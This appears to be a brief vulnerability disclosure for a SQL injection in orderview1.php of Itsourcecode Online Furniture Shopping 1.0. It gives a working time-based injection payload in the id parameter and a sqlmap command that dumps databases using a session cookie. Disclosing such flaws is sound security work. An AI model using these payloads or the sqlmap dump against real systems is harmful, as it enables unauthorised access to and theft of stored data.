A SQL injection vulnerability in orderview1.php of Itsourcecode Online Furniture Shopping Project 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter.
SQL Injection
Itsourcecode
The Itsourcecode Online Furniture Shopping v1.0 is vulnerable to SQL injection through the id parameter in the orderview1.php page
- Set up the application locally, register an account, and log in with the newly registered account.
- Navigate to the following URL in your browser: http://localhost/nikos/orderview1.php?action=edit&id=1728835149
- Inject SQL Payload: Modify the id parameter in the URL to include a time-based SQL injection payload. http://localhost/nikos/orderview1.php?action=edit&id=1728835149+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))DTmU)
- Observe the Application Response: The page should take noticeably longer (10 seconds) to load if the injection is successful, confirming that the id parameter is vulnerable to SQL injection.
- Now use the SQLMap tool for further exploitation and dumping databases using the below command: python sqlmap.py -u "http://localhost/nikos/orderview1.php?action=edit&id=1728835149" --cookie="PHPSESSID=your_cookie_here"--risk 3 --level 3 --dbs --technique=T --dump --no-cast